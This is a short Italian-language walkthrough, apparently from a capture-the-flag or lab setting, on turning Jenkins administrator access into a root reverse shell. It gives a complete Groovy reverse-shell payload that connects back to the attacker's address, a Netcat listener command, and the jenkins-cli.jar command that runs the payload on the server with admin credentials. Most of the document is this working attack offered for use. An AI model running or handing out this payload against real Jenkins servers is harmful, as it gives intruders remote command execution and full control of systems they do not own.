tags: Jenkins CMS reverse_shell


Una volta ottenuto l’accesso alla pagina di amministratore possiamo dirigerci nella sezione Manage Jenkins Jenkins CLI.

Da qui ci scarichiamo il file jenkins-cli.jar per poter eseguire comandi sul server ed ottenere una reverse shell.

Quindi per prima cosa ci costruiamo un payload in linguaggio Groovy come il seguente:

// Configurazione
String host = "10.10.XX.XX"; // IL TUO IP TUN0
int port = 4444;
String cmd = "/bin/bash"; // Usa "cmd.exe" se il server è Windows
 
// Logica Reverse Shell
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s = new Socket(host, port);
InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
OutputStream po = p.getOutputStream(), so = s.getOutputStream();
 
while(!s.isClosed()) {
    while(pi.available() > 0) so.write(pi.read());
    while(pe.available() > 0) so.write(pe.read());
    while(si.available() > 0) po.write(si.read());
    so.flush();
    po.flush();
    Thread.sleep(50);
}
p.destroy();
s.close();

Ci mettiamo in ascolto con Netcat:

nc -lvnp 4444

E infine lanciamo il segunte comando:

java -jar jenkins-cli.jar -s http://10.129.33.78:8080/ -webSocket -auth root:password groovy = < /tmp/shell.groovy

Per lanciare questo comando correttamente dobbiamo essere nella stessa cartella del file scaricato jenkins-cli.jar, inserire l’indirizzo IP della vittima, le credenziali di amministratore dopo -auth ed infine il percorso della nostra reverse shell sulla nostra macchina.

Se tutto va come deve ci appare una reverse shell di root.